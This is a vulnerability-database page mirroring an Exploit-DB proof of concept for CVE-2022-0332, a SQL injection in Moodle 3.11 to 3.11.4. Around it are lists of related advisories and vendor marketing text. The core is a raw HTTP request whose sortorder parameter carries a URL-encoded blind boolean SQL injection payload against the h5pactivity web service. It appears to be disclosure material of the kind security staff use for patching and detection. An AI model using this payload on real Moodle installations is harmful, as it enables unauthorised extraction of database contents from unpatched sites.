Lucene search
K

Moodle 3.11.4 - SQL Injection

🗓️ 02 Feb 2022 00:00:00Reported by lavclash75Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 294 Views

Moodle 3.11.4 SQL Injection CVE-2022-033

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Moodle 3.11.4 - SQL Injection Vulnerability
2 Feb 202200:00
zdt
GithubExploit
Exploit for SQL Injection in Moodle
25 Jan 202223:58
githubexploit
ATTACKERKB
CVE-2022-0332
25 Jan 202220:15
attackerkb
BDU FSTEC
The vulnerability of the mod_h5pactivity component in the virtual learning environment Moodle allows a hacker to execute arbitrary SQL queries in the database.
30 Jun 202300:00
bdu_fstec
Circl
CVE-2022-0332
25 Jan 202222:18
circl
CNNVD
Moodle SQL注入漏洞
24 Jan 202200:00
cnnvd
CNVD
Moodle SQL Injection Vulnerability (CNVD-2022-09258)
26 Jan 202200:00
cnvd
CVE
CVE-2022-0332
25 Jan 202219:11
cve
Cvelist
CVE-2022-0332
25 Jan 202219:11
cvelist
EUVD
EUVD-2022-0480
3 Oct 202520:07
euvd
Rows per page
# Exploit Title: Moodle 3.11.4  - SQL Injection
# Date: 30/01/2022
# Exploit Author: lavclash75
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.11 to 3.11.4
# CVE: CVE-2022-0332
# POC

```
GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0
Host: local.numanturle.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

```

```

```

![PHP](img/orderby.jpg?raw=true "PHP")
![PHP](img/uri.jpg?raw=true "PHP")
![PHP](img/sqlmap.jpg?raw=true "PHP")

# Reference
 * [CVE-2022-0332](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0332)
 * [Git](https://git.moodle.org/gw?p=moodle.git;a=blobdiff;f=mod/h5pactivity/classes/external/get_user_attempts.php;h=8a27f821bc37f20bafaba6ef436871717b3817a3;hp=216653e93315c4d8ca084fe1e62b2041dece4531;hb=c7a62a8c82219b50589257f79021da1df1a76808;hpb=2ee27313cea0d7073f5a6a35eccdfddcb3a9adad)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2022 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 27.5
CVSS 3.19.8
EPSS0.44918
294